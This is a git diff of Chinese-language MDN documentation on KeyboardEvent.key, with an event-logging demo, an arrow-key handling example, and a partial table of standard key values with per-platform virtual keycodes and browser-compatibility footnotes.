在次序1、3中,KeyboardEvent.key 属性按照事先定义的规则设定为恰当的值。

+ +

KeyboardEvent 次序示例

+ +

考虑使用美国或英国键盘布局生成的点击 shiftKey 和一个未知的 key 2 时的事件次序。

+ +

请检测以下两个测试用例:

+ +
    +
  1. 按下并长按 shift 键,然后按下 key 2 并松开。下一步,松开 shift 键。
  2. +
  3. 按下并长按 shift 键,然后按下并长按 key 2。然后松开 shift 键,最后松开 key 2
  4. +
+ +

HTML

+ +
<div class="flex flex-left">
+    <textarea rows="5" id="test-target"></textarea>
+    <button id="btn-clear-console">清空控制台</button>
+</div>
+<div class="flex flex-right">
+    <div id="console-log"></div>
+</div>
+<script src="main.js"></script>
+ +

CSS

+ +
body {
+    -webkit-display: flex;
+    display: flex;
+}
+
+.flex {
+    padding-left: 20px;
+    padding-right: 20px;
+}
+
+.flex-left {
+    flex: 1;
+    flex-grow: 1;
+    -webkit-flex: 1;
+    -webkit-flex-grow: 1;
+}
+
+.flex-right {
+    flex: 2;
+    flex-grow: 2;
+    -webkit-flex: 2;
+    -webkit-flex-grow: 2;
+}
+
+#test-target {
+    display: block;
+    width: 100%;
+    margin-bottom: 10px;
+    resize: none;
+}
+
+#console-log {
+    overflow: auto;
+}
+ +

JavaScript

+ +
let textarea = document.getElementById('test-target'),
+consoleLog = document.getElementById('console-log'),
+btnClearConsole = document.getElementById('btn-clear-console');
+
+function logMessage(message) {
+  let p = document.createElement('p');
+  p.appendChild(document.createTextNode(message));
+  consoleLog.appendChild(p);
+}
+
+textarea.addEventListener('keydown', (e) => {
+  if (!e.repeat)
+    logMessage(`第一个 keydown 事件。key 属性的值为"${e.key}"`);
+  else
+    logMessage(`keydown 事件重复。key 属性的值为"${e.key}"`);
+});
+
+textarea.addEventListener('beforeinput', (e) => {
+  logMessage(`beforeinput 事件。你准备输入"${e.data}"`);
+});
+
+textarea.addEventListener('input', (e) => {
+  logMessage(`input 事件。你刚刚输入了"${e.data}"`);
+});
+
+textarea.addEventListener('keyup', (e) => {
+  logMessage(`keyup 事件。key 属性的值为"${e.key}"`);
+});
+
+btnClearConsole.addEventListener('click', (e) => {
+  let child = consoleLog.firstChild;
+  while (child) {
+   consoleLog.removeChild(child);
+   child = consoleLog.firstChild;
+  }
+});
+ +

运行结果

+ + + +

{{ EmbedLiveSample('Key', '100%', 480, "", "", "hide-codepen-jsfiddle") }}

+ +

用例 1

+ +

当按下 shift 键时,首先触发 {{event("keydown")}} 事件,然后将 key 属性的值设为 "Shift" 字符串。如果继续长按 shift 键,由于不会生成字符按键值,{{event("keydown")}} 事件不会继续重复触发。

+ +

当按下 key 2 时,另一个 {{event("keydown")}} 事件将会为这个新的按键动作触发,若使用的是美式键盘,它的 key 属性将被设为 "@" 字符,若为英式键盘,则会设为 """ 字符。这是因为 key 属性 "shift" 处于激活状态。由于生成了一个字符的按键值,{{event("beforeinput")}} 和 {{event("input")}} 事件随后触发。

+ +

松开 key 2 时,{{event("keyup")}} 事件将触发,key 属性将会为不同键盘布局设定合适的字符值,比如 "@""""

+ +

最后在松开 shift 键时,另一个 {{event("keyup")}} 事件触发,key 值将保持 "Shift" 不变。

+ +

用例 2

+ +

当按下 shift 键时,首先触发 {{event("keydown")}} 事件,然后将 key 属性的值设为 "Shift" 字符串。如果继续长按 shift 键,由于不会生成字符按键值,{{event("keydown")}} 事件不会继续重复触发。

+ +

当按下 key 2 时,另一个 {{event("keydown")}} 事件将会为这个新的按键动作触发,若使用的是美式键盘,它的 key 属性将被设为 "@" 字符,若为英式键盘,则会设为 """ 字符。这是因上档键处于激活状态。由于生成了一个字符的按键值,{{event("beforeinput")}} 和 {{event("input")}} 事件随后触发。如果继续长按 2 键,则 {{event("keydown")}} 事件将持续重复触发,同时将 {{domxref("KeyboardEvent.repeat")}} 属性设置为 true。{{event("beforeinput")}} 和 {{event("input")}} 事件也将持续重复触发。

+ +

当松开 shift 键时,{{event("keyup")}} 事件随之触发,且 key 属性保留为 "Shift"。此时请注意为  key 2 长按触发的重复 keydown 事件的 key 值会变成 "2",因为上档键不再处于激活状态。{{event("beforeinput")}} 与 {{event("input")}} 事件的 {{domxref("InputEvent.data")}} 属性同理。

+ +

最终 key 2 松开,{{event("keyup")}} 事件触发,但两种键盘布局的 key 属性均为 "2"。就是因为没有激活上档键。

+ + + +

示例

+ +

这个示例使用 {{domxref("EventTarget.addEventListener()")}} 监听 {{event("keydown")}} 事件。当我们事件触发时,将检测按键的值是否为代码所关注,如果是,就进行某项操作。(可能是给飞船转向,或者是调整电子表格中选中单元格的位置。)

+ +
window.addEventListener("keydown", function (event) {
+  if (event.defaultPrevented) {
+    return; // 如果事件已经在进行中,则不做任何事。
+  }
+
+  switch (event.key) {
+    case "ArrowUp":
+      // 按“↑”方向键时要做的事。
+      break;
+    case "ArrowDown":
+      // 按“↓”方向键时要做的事。
+      break;
+    case "ArrowLeft":
+      // 按“←”方向键时要做的事。
+      break;
+    case "ArrowRight":
+      // 按“→”方向键时要做的事。
+      break;
+    case "Enter":
+      // 按“回车”键时要做的事。
+      break;
+    case "Escape":
+      // 按“ESC”键时要做的事。
+      break;
+    default:
+      return; // 什么都没按就退出吧。
+  }
+
+  // 取消默认动作,从而避免处理两次。
+  event.preventDefault();
+}, true);
+
+ +

标准

+ + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('DOM3 Events', '#widl-KeyboardEvent-key', 'KeyboardEvent.key')}}{{Spec2('DOM3 Events')}}初次定义,包括按键的值。
+ + + +

兼容性

+ +

{{Compat("api.KeyboardEvent.key")}}

diff --git a/files/zh-cn/web/api/keyboardevent/key/key_values/index.html b/files/zh-cn/web/api/keyboardevent/key/key_values/index.html new file mode 100644 index 0000000000..159f96c074 --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/key/key_values/index.html @@ -0,0 +1,3638 @@ +--- +title: Key Values +slug: Web/API/KeyboardEvent/key/Key_Values +translation_of: Web/API/KeyboardEvent/key/Key_Values +--- +

下列表格列出了不同范畴的键的标准键值,以及这些键的一般作用。对应的,通用平台上可用的虚拟键码也包含其中。

+ +
+
Learn how to use these key values in JavaScript using KeyboardEvent.key
+
+ +

Special Values | Modifier Keys | Whitespace Keys | Navigation Keys | Editing Keys | UI Keys | Device Keys | IME and Composition Keys | Function Keys | Phone Keys | Multimedia Keys | Audio Control Keys | TV Control Keys | Media Controller Keys | Speech Recognition Keys | Document Keys | Application Selector Keys | Browser Control Keys | Numeric Keypad Keys

+ +

Special values

+ +

键的值,具有除标识特定键或字符外的特殊含义。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"Unidentified"用户代理无法将事件的虚拟键码映射到特定键值。 这可能由于硬件或软件限制或由于运行用户代理的平台周围的约束而发生。variesvariesvariesvaries
+ +

Modifier keys

+ +

修饰符是特殊键,用于生成特殊字符或与其他键组合使用时产生特殊操作。 示例包括ShiftControl键,以及Lock LockNumLock等锁定键。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"Alt" [5] Alt (替代)键。VK_MENU (0x12)
+ VK_LMENU (0xA4)
+ VK_RMENU (0xA5)
kVK_Option (0x3A)
+ kVK_RightOption (0x3D)
GDK_KEY_Alt_L (0xFFE9)
+ GDK_KEY_Alt_R (0xFFEA)
+ Qt::Key_Alt (0x01000023)
KEYCODE_ALT_LEFT (57)
+ KEYCODE_ALT_RIGHT (58)
"AltGraph" [5]AltGrAltGraph(Alternate Graphics)键。 启用ISO Level 3移位修改器(其中Shift是2级修改器)。GDK_KEY_Mode_switch (0xFF7E)
+ GDK_KEY_ISO_Level3_Shift (0xFE03)
+ GDK_KEY_ISO_Level3_Latch (0xFE04)
+ GDK_KEY_ISO_Level3_Lock (0xFE05)
+ GDK_KEY_ISO_Level5_Shift (0xFE11)
+ GDK_KEY_ISO_Level5_Latch (0xFE12)
+ GDK_KEY_ISO_Level5_Lock (0xFE13)
+ Qt::Key_AltGr (0x01001103
+ Qt::Key_Mode_switch (0x0100117E)
"CapsLock"大写锁定键。 打开和关闭大写字符锁以进行后续输入。VK_CAPITAL (0x14)kVK_CapsLock (0x39)GDK_KEY_Caps_Lock (0xFFE5)
+ Qt::Key_CapsLock (0x01000024)
KEYCODE_CAPS_LOCK (115)
"Control"ControlCtrlCtrl键。 允许输入控制字符。VK_CONTROL (0x11)
+ VK_LCONTROL (0xA2)
+ VK_RCONTROL (0xA3)
kVK_Control (0x3B)
+ kVK_RightControl (0x3E)
GDK_KEY_Control_L (0xFFE3)
+ GDK_KEY_Control_R (0xFFE4)
+ Qt::Key_Control (0x01000021)
KEYCODE_CTRL_LEFT (113)
+ KEYCODE_CTRL_RIGHT (114)
"Fn"Fn(函数修饰符)键。 用于允许在没有专用功能键区域的键盘上生成功能键(例如F1-F15)字符。 通常在硬件中处理,以便不为此密钥生成事件。kVK_Function (0x3F)KEYCODE_FUNCTION (119)
"FnLock"FnLockF-Lock(功能锁定)键。打开和关闭“Fn”描述的功能键模式。 通常在硬件中处理,以便不为此密钥生成事件。
"Hyper" [4] Hyper 键.GDK_KEY_Hyper_L (0xFFED)
+ GDK_KEY_Hyper_R (0xFFEE)
+ Qt::Key_Hyper_L (0x01000056)
+ Qt::Key_Hyper_R (0x01000057)
"Meta" [1]Meta键。 允许发出特殊命令输入。 这是Windows徽标键,或Mac键盘上的Command或⌘键。VK_LWIN (0x5B)
+ VK_RWIN (0x5C)
kVK_Command (0x37)
+ kVK_RightCommand (0x36)
GDK_KEY_Meta_L (0xFFE7)
+ GDK_KEY_Meta_R (0xFFE8)
+ Qt::Key_Meta (0x01000022)
KEYCODE_META_LEFT (117)
+ KEYCODE_META_RIGHT (118)
"NumLock"The NumLock (Number Lock) key. Toggles the numeric keypad between number entry some other mode (often directional arrows).VK_NUMLOCK (0x90)GDK_KEY_Num_Lock (0xFF7F)
+ Qt::Key_NumLock (0x01000025)
KEYCODE_NUM_LOCK (143)
"ScrollLock" [2]The Scroll Lock key. Toggles beteen scrolling and cursor movement modes.VK_SCROLL (0x91)GDK_KEY_Scroll_Lock (0xFF14)
+ Qt::Key_ScrollLock (0x01000026)
KEYCODE_SCROLL_LOCK (116)
"Shift"The Shift key. Modifies keystrokes to allow typing upper (or other) case letters, and to support typing punctuation and other special characters.VK_SHIFT (0x10)
+ VK_LSHIFT (0xA0)
+ VK_RSHIFT (0xA1)
kVK_Shift (0x38)
+ kVK_RightShift (0x3C)
GDK_KEY_Shift_L (0xFFE1)
+ GDK_KEY_Shift_R (0xFFE2)
+ Qt::Key_Shift (0x01000020)
KEYCODE_SHIFT_LEFT (59)
+ KEYCODE_SHIFT_RIGHT (60)
"Super" [4]The Super key.GDK_KEY_Super_L (0xFFEB)
+ GDK_KEY_Super_R (0xFFEC)
+ Qt::Key_Super_L (0x01000053)
+ Qt::Key_Super_R (0x01000054)
"Symbol"The Symbol modifier key (found on certain virtual keyboards).KEYCODE_SYM (63) [3]
"SymbolLock"The Symbol Lock key.
+ +

[1] In Internet Explorer 9, as well as in all versions of Firefox, the Windows key is reported as "OS" instead of as "Meta". This will be changed in Firefox per {{bug(1232918)}}. Until that's fixed, these keys are returned as "OS" by Firefox: VK_LWIN (0x5B) and VK_RWIN (0x5C) on Windows, and GDK_KEY_Super_L (0xFFEB), GDK_KEY_Super_R (0xFFEC), GDK_KEY_Hyper_L (0xFFED), and GDK_KEY_Hyper_R (0xFFEE) on Linux.

+ +

[2] Internet Explorer 9 reports "Scroll" instead of "ScrollLock" for the Scroll Lock key.

+ +

[3] Firefox did not add support for the Symbol key until Firefox 37.

+ +

[4] Firefox generates the key value "OS" for the Super and Hyper keys, instead of "Super" and "Hyper".

+ +

[5] Chrome 67 and Firefox 63 now correctly interpret the right Alt key for keyboard layouts which map that key to AltGr. See Firefox bug {{bug(900750)}} and Chrome bug 25503 for further details.

+ +

Whitespace keys

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"Enter"The Enter or key (sometimes labeled Return).VK_RETURN (0x0D)kVK_Return (0x24)
+ kVK_ANSI_KeypadEnter (0x4C)
+ kVK_Powerbook_KeypadEnter (0x34)
GDK_KEY_Return (0xFF0D)
+ GDK_KEY_KP_Enter (0xFF8D)
+ GDK_KEY_ISO_Enter (0xFE34)
+ GDK_KEY_3270_Enter (0xFD1E)
+ Qt::Key_Return (0x01000004)
+ Qt::Key_Enter (0x01000005)
KEYCODE_ENTER (66)
+ KEYCODE_NUMPAD_ENTER (160)
+ KEYCODE_DPAD_CENTER (23)
"Tab"The Horizontal Tab key, Tab.VK_TAB (0x09)kVK_Tab (0x30)GDK_KEY_Tab (0xFF09)
+ GDK_KEY_KP_Tab (0xFF89)
+ GDK_KEY_ISO_Left_Tab
(0xFE20)
+ Qt::Key_Tab (0x01000001)
KEYCODE_TAB (61)
" " [1]The space key, Space Bar.VK_SPACE (0x20)kVK_Space (0x31) +

GDK_KEY_space (0x20)
+ GDK_KEY_KP_Space (0xFF80)
+ Qt::Key_Space (0x20)

+
KEYCODE_SPACE (62)
+ +

[1] Older browsers may return "Spacebar" instead of " " for the Space Bar key. Firefox did so until version 37, as did Internet Explorer 9, 10, and 11.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"ArrowDown" [1]The down arrow key.VK_DOWN (0x28)kVK_DownArrow (0x7D)GDK_KEY_Down (0xFF54)
+ GDK_KEY_KP_Down (0xFF99)
+ Qt::Key_Down (0x01000015)
KEYCODE_DPAD_DOWN (20)
"ArrowLeft" [1]The left arrow key.VK_LEFT (0x25)kVK_LeftArrow (0x7B)GDK_KEY_Left (0xFF51)
+ GDK_KEY_KP_Left (0xFF96)
+ Qt::Key_Left (0x01000012)
KEYCODE_DPAD_LEFT (21)
"ArrowRight" [1]The right arrow key.VK_RIGHT (0x27)kVK_RightArrow (0x7C)GDK_KEY_Right (0xFF53)
+ GDK_KEY_KP_Right (0xFF98)
+ Qt::Key_Right (0x01000014)
KEYCODE_DPAD_RIGHT (22)
"ArrowUp" [1]The up arrow key.VK_UP (0x26)kVK_UpArrow (0x7E)GDK_KEY_Up (0xFF52)
+ GDK_KEY_KP_Up (0xFF97)
+ Qt::Key_Up (0x01000013)
KEYCODE_DPAD_UP (19)
"End"The End key. Moves to the end of content.VK_END (0x23)kVK_End (0x77)GDK_KEY_End (0xFF57)
+ GDK_KEY_KP_End (0xFF9C)
+ Qt::Key_End (0x01000011)
KEYCODE_MOVE_END (123)
"Home"The Home key. Moves to the start of content.VK_HOME (0x24)kVK_Home (0x73)GDK_KEY_Home (0xFF50)
+ GDK_KEY_KP_Home (0xFF95)
+ Qt::Key_Home (0x01000010)
KEYCODE_MOVE_HOME (122)
"PageDown"The Page Down (or PgDn) key. Scrolls down or displays the next page of content.VK_NEXT (0x22)kVK_PageDown (0x79)GDK_KEY_Page_Down (0xFF56)
+ GDK_KEY_KP_Page_Down (0xFF9B)
+ Qt::Key_PageDown (0x01000017)
KEYCODE_PAGE_DOWN (93)
"PageUp"The Page Up (or PgUp) key. Scrolls up or displays the previous page of content.VK_PRIOR (0x21)kVK_PageUp (0x74)GDK_KEY_Page_Up (0xFF55)
+ GDK_KEY_KP_Page_Up (0xFF9A)
+ Qt::Key_PageUp (0x01000016)
KEYCODE_PAGE_UP (92)
+ +

[1] Internet Explorer, Edge (16 and earlier), and Firefox (36 and earlier) use "Left", "Right", "Up", and "Down" instead of "ArrowLeft", "ArrowRight", "ArrowUp", and "ArrowDown".

+ +

Editing keys

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"Backspace"The Backspace key. This key is labeled Delete on Mac keyboards.VK_BACK (0x08)kVK_Delete (0x33)GDK_KEY_BackSpace (0xFF08)
+ Qt::Key_Backspace (0x01000003)
KEYCODE_DEL (67)
"Clear"The Clear key. Removes the currently selected input.VK_CLEAR (0x0C)
+ VK_OEM_CLEAR (0xFE)
kVK_ANSI_KeypadClear (0x47)GDK_KEY_Clear (0xFF0B)
+ Qt::Key_Clear (0x0100000B)
KEYCODE_CLEAR (28)
"Copy"The Copy key (on certain extended keyboards).APPCOMMAND_COPYGDK_KEY_Copy (0x1008FF57)
+ Qt::Key_Copy (0x010000CF)
"CrSel" [3]The Cursor Select key, CrSel.VK_CRSEL (0xF7)GDK_KEY_3270_CursorSelect (0xFD1C)
"Cut"The Cut key (on certain extended keyboards).APPCOMMAND_CUTGDK_KEY_Cut (0x1008FF58)
+ Qt::Key_Cut (0x010000D0)
"Delete" [2]The Delete key, Del.VK_DELETE (0x2E)kVK_ForwardDelete (0x75) [1]GDK_KEY_Delete (0xFFFF)
+ GDK_KEY_KP_Delete (0xFF9F)
+ Qt::Key_Delete (0x01000007)
KEYCODE_FORWARD_DEL (112)
"EraseEof"Erase to End of Field. Deletes all characters from the current cursor position to the end of the current field.VK_EREOF (0xF9)GDK_KEY_3270_ExSelect (0xFD1B)
"ExSel" [4]The ExSel (Extend Selection) key.VK_EXSEL (0xF8)GDK_KEY_3270_ExSelect (0xFD1B)
"Insert"The Insert key, Ins. Toggles between inserting and overwriting text.VK_INSERT (0x2D)GDK_KEY_Insert (0xFF63)
+ GDK_KEY_KP_Insert (0xFF9E)
+ Qt::Key_Insert (0x01000006)
KEYCODE_INSERT (124)
"Paste"Paste from the clipboard.APPCOMMAND_PASTEGDK_KEY_Paste (0x1008FF6D)
+ Qt::Key_Paste (0x010000E2)
"Redo"Redo the last action.APPCOMMAND_REDOGDK_KEY_Redo (0xFF66)
"Undo"Undo the last action.APPCOMMAND_UNDOGDK_KEY_Undo (0xFF65)
+ +

[1] On keyboards without a dedicated Del key, the Mac generates the "Delete" value when Fn is pressed in tandem with Delete (which is Backspace on other platforms).

+ +

[2] Internet Explorer 9 and Firefox 36 and earlier use "Del" instead of "Delete" for the Del key.

+ +

[3] Internet Explorer 9 and Firefox 36 and earlier generate the value "Crsel" instead of "CrSel" when the CrSel key is pressed.

+ +

[4] Internet Explorer 9 and Firefox 36 and earlier generate the value "Exsel" instead of "ExSel" when the ExSel key is pressed.

+ +

[5] Prior to Firefox 37, this key generated the value "Unidentified".

+ +

UI keys

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"Accept"The Accept, Commit, or OK key or button. Accepts the currently selected option or input method sequence conversion.VK_ACCEPT (0x1E)KEYCODE_DPAD_CENTER (23)
"Again"The Again key. Redoes or repeats a previous action.GDK_KEY_Redo (0xFF66)
"Attn" [4]The Attn (Attention) key.VK_OEM_ATTN (0xF0)GDK_KEY_3270_Attn (0xFD0E)
"Cancel" [1]The Cancel key.GDK_KEY_Cancel (0xFF69)
"ContextMenu" [3]Shows the context menu. Typically found between the Windows (or OS) key and the Control key on the right side of the keyboard.VK_APPS (0x5D)kVK_PC_ContextMenu (0x6E)GDK_KEY_Menu (0xFF67)
+ Qt::Key_Menu (0x01000055)
KEYCODE_MENU (82)
"Escape" [2]The Esc (Escape) key. Typically used as an exit, cancel, or "escape this operation" button. Historically, the Escape character was used to signal the start of a special control sequence of characters called an "escape sequence."VK_ESCAPE (0x1B)kVK_Escape (0x35)GDK_KEY_Escape (0xFF1B)
+ Qt::Key_Escape (0x01000000)
KEYCODE_ESCAPE (111)
"Execute"The Execute key.VK_EXECUTE (0x2B)Qt::Key_Execute (0x01020003)
"Find"The Find key. Opens an interface (typically a dialog box) for performing a find/search operation.APPCOMMAND_FINDGDK_KEY_Find (0xFF68)
"Finish" [5]The Finish key.VK_OEM_FINISH (0xF1)
"Help"The Help key. Opens or toggles the display of help information.VK_HELP (0x2F)
+ APPCOMMAND_HELP
kVK_Help (0x72)GDK_KEY_Help (0xFF6A)
+ Qt::Key_Help (0x01000058)
KEYCODE_HELP (259)
"Pause"The Pause key. Pauses the current application or state, if applicable. +
This shouldn't be confused with the "MediaPause" key value, which is used for media controllers, rather than to control applications and processes.
+
VK_PAUSE (0x13)GDK_KEY_Pause (0xFF13)
+ GDK_KEY_Break (0xFF6B)
+ Qt::Key_Pause (0x01000008)
KEYCODE_BREAK (121)
"Play"The Play key. Resumes a previously paused application, if applicable. +
This shouldn't be confused with the "MediaPlay" key value, which is used for media controllers, rather than to control applications and processes.
+
VK_PLAY (0xFA)GDK_KEY_3270_Play (0xFD16)
+ Qt::Key_Play (0x01020005)
"Props"The Props (Properties) key.
"Select"The Select key.VK_SELECT (0x29)GDK_KEY_Select (0xFF60)KEYCODE_BUTTON_SELECT (109)
"ZoomIn" [6]The ZoomIn key.GDK_KEY_ZoomIn (0x1008FF8B)
+ Qt::Key_ZoomIn (0x010000F6)
KEYCODE_ZOOM_IN (168)
"ZoomOut" [6]The ZoomOut key.GDK_KEY_ZoomOut (0x1008FF8C)
+ Qt::Key_ZoomOut (0x010000F7)
KEYCODE_ZOOM_OUT (169)
+ +

[1] In Google Chrome 52, the Cancel key incorrectly returns the key code "Pause". This is fixed in Chrome 53. See Chrome bug 612749 for details.

+ +

[2] In Internet Explorer 9 and Firefox 36 and earlier, the Esc key returns "Esc" instead of "Escape".

+ +

[3] Internet Explorer 9 and Firefox 36 and earlier report "Apps" instead of "ContextMenu" for the context menu key.

+ +

[4] The Attn key generates the key code "Unidentified" on Internet Explorer 9. Firefox and Google Chrome report the same, unless the Japanese keyboard layout is in effect, in which case it generates "KanaMode" instead.

+ +

[5] The Finish key gemerates the key code "Unidentified" on Internet Explorer 9. Firefox reports the same, unless the Japanese keyboard layout is in effect, in which case it generates "Katakana" instead.

+ +

[6] Firefox didn't support the "ZoomIn" and "ZoomOut" keys until Firefox 37.

+ +

Device keys

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"BrightnessDown"The Brightness Down key. Typically used to reduce the brightness of the display.GDK_KEY_MonBrightnessDown (0x1008FF03)
+ Qt::Key_MonBrightnessDown (0x010000B3)
KEYCODE_BRIGHTNESS_DOWN (220)
"BrightnessUp"The Brightness Up key. Typically increases the brightness of the display.GDK_KEY_MonBrightnessUp (0x1008FF02)
+ Qt::Key_MonBrightnessUp (0x010000B2)
KEYCODE_BRIGHTNESS_UP (221)
"Eject"The Eject key. Ejects removable media (or toggles an optical storage device tray open and closed).GDK_KEY_Eject (0x1008FF2C)
+ Qt::Key_Eject (0x010000B9)
KEYCODE_MEDIA_EJECT (129)
"LogOff" [2]The LogOff key.GDK_KEY_LogOff (0x1008FF61)
+ Qt::Key_LogOff (0x010000D9)
"Power"The Power button or key, to toggle power on and off. +
Not all systems pass this key through to to the user agent.
+
KEYCODE_POWER (26)
"PowerOff"The PowerOff or PowerDown key. Shuts off the system.GDK_KEY_PowerDown (0x1008FF21)
+ GDK_KEY_PowerOff (0x1008FF2A)
+ Qt::Key_PowerDown (0x0100010B)
+ Qt::Key_PowerOff (0x010000B7)
"PrintScreen"The PrintScreen or PrtScr key. Sometimes SnapShot. Captures the screen and prints it or saves it to disk.VK_SNAPSHOT (0x2C)GDK_KEY_3270_PrintScreen (0xFD1D)
+ GDK_KEY_Print (0xFF61)
+ GDK_KEY_Sys_Req (0xFF15)
+ Qt::Key_Print (0x01000009)
+ Qt::Key_SysReq (0x0100000A)
KEYCODE_SYSRQ (120)
"Hibernate" [2]The Hibernate key. This saves the state of the computer to disk and then shuts down; the computer can be returned to its previous state by restoring the saved state information.GDK_KEY_Hibernate (0x1008FFA8)
+ Qt::Key_Hibernate (0x01000108)
"Standby" [1]The Standby key; also known as Suspend or Sleep. This turns off the display and puts the computer in a low power consumption mode, without completely powering off.VK_SLEEP (0x5F)GDK_KEY_Standby (0x1008FF10)
+ GDK_KEY_Suspend (0x1008FFA7)
+ GDK_KEY_Sleep (0x1008FF2F)
+ Qt::Key_Standby (0x01000093)
+ Qt::Key_Suspend (0x0100010C)
+ Qt::Key_Sleep (0x01020004)
KEYCODE_SLEEP (223)
"WakeUp" [2]The WakeUp key; used to wake the computer from the hibernation or standby modes.GDK_KEY_WakeUp (0x1008FF2B)
+ Qt::Key_WakeUp (0x010000B8)
KEYCODE_WAKEUP (224)
+ +

[1] The Standby key is not supported by Internet Explorer 9 and Firefox 36 and earlier, so it is reported as "Unidentified".

+ +

[2] Prior to Firefox 37, this key generated the value "Unidentified".

+ +

IME and composition keys

+ +

Keys used when using an Input Method Editor (IME) to input text which can't readily be entered by simple keypresses, such as text in languages such as those which have more graphemes than there are character entry keys on the keyboard; common examples include Chinese, Japanese, Korean, and Hindi.

+ +

Some keys are common across multiple languages, while others exist only on keyboards targeting specific languages. In addition, not all keyboards have all of these keys.

+ +

Common IME keys

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
KeyboardEvent.key ValueDescriptionVirtual Keycode
WindowsMacLinuxAndroid
"AllCandidates"The All Candidates key, which starts multi-candidate mode, in which multiple candidates are displayed for the ongoing input.GDK_KEY_MultipleCandidate (0xFF3D
+ Qt::Key_MultipleCandidate (0x0100113D)
"Alphanumeric"The Alphanumeric key.VK_OEM_ATTN (0xF0)GDK_KEY_Eisu_Shift (0xFF2F)
+ GDK_KEY_Eisu_toggle (0xFF30)
+ Qt::Key_Eisu_Shift (0x0100112f)
+ Qt::Key_Eisu_toggle (0x01001130)
"CodeInput"The Code Input key, which enables code input mode, which lets the user enter characters by typing their code points (their Unicode character numbers, typically).GDK_KEY_Codeinput (0xFF37)
+ Qt::Key_Codeinput (0x01001137)
"Compose"The Compose key.GDK_KEY_Multi_key (0xFF20) [1]
+ Qt::Key_Multi_key (0x01001120)
"Convert" [4]The Convert key, which instructs the IME to convert the current input method sequence into the resulting character.VK_CONVERT (0x1C)GDK_KEY_Henkan (0xFF23)
+ Qt::Key_Henkan (0x01001123)
KEYCODE_HENKAN (214)
"Dead"A dead "combining" key; that is, a key which is used in tandem with other keys to generate accented and other modified characters. If pressed by itself, it doesn't generate a character. If you wish to identify which specific dead key was pressed (in cases where more than one exists), you can do so by examining the {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's {{domxref("CompositionEvent.data", "data")}} property.See {{anch("Dead keycodes for Linux")}} below
"FinalMode"The Final (Final Mode) key is used on some Asian keyboards to enter final mode when using IMEs.VK_FINAL (0x18)
"GroupFirst"Switches to the first character group on an ISO/IEC 9995 keyboard. Each key may have multiple groups of characters, each in its own column. Pressing this key instructs the device to interpret keypresses as coming from the first column on subsequent keystrokes.GDK_KEY_ISO_First_Group (0xFE0C)
"GroupLast"Switches to the last character group on an ISO/IEC 9995 keyboard.GDK_KEY_ISO_Last_Group (0xFE0E)
"GroupNext" [4]Switches to the next character group on an ISO/IEC 9995 keyboard.GDK_KEY_ISO_Next_Group (0xFE08)KEYCODE_LANGUAGE_SWITCH (204)
"GroupPrevious"Switches to the previous character group on an ISO/IEC 9995 keyboard.GDK_KEY_ISO_Prev_Group (0xFE0A)
"ModeChange" [5]The Mode Change key. Toggles or cycles among input modes of IMEs.VK_MODECHANGE (0x1F)GDK_KEY_Mode_switch (0xFF7E)
+ GDK_KEY_script_switch (0xFF7E)
+ Qt::Key_Mode_switch (0x0100117E)
KEYCODE_SWITCH_CHARSET (95)
"NextCandidate"The Next Candidate function key. Selects the next possible match for the ongoing input.
"NonConvert" [2]The NonConvert ("Don't convert") key. This accepts the current input method sequence without running conversion when using an IME.VK_NONCONVERT (0x1D)GDK_KEY_Muhenkan (0xFF22)
+ Qt::Key_Muhenkan (0x01001122)
KEYCODE_MUHENKAN (213)
"PreviousCandidate"The Previous Candidate key. Selects the previous possible match for the ongoing input.GDK_KEY_PreviousCandidate (0xFF3E)
+ Qt::Key_PreviousCandidate (0x0100113E)
"Process" [3]The Process key. Instructs the IME to process the conversion.VK_PROCESSKEY (0xE5)
"SingleCandidate" [4]The Single Candidate key. Enables single candidate mode (as opposed to multi-candidate mode); in this mode, only one candidate is displayed at a time.GDK_KEY_SingleCandidate (0xFF3C)
+ Qt::Key_SingleCandidate (0x0100113C)
+ +

[1] On the X Window System, the Compose key is called the Multi key.

+ +

[2] The NonConvert key is reported as "Nonconvert" instead of the correct "NonConvert" by Internet Explorer 9 and Firefox versions 36 and earlier.

+ +

[3] The Process key currently returns "Unidentified" in Firefox and Internet Explorer. Google Chrome returns the value of the key as if IME were not in use.

+ +

[4] Prior to Firefox 37, these keys were "Unidentified".

+ +

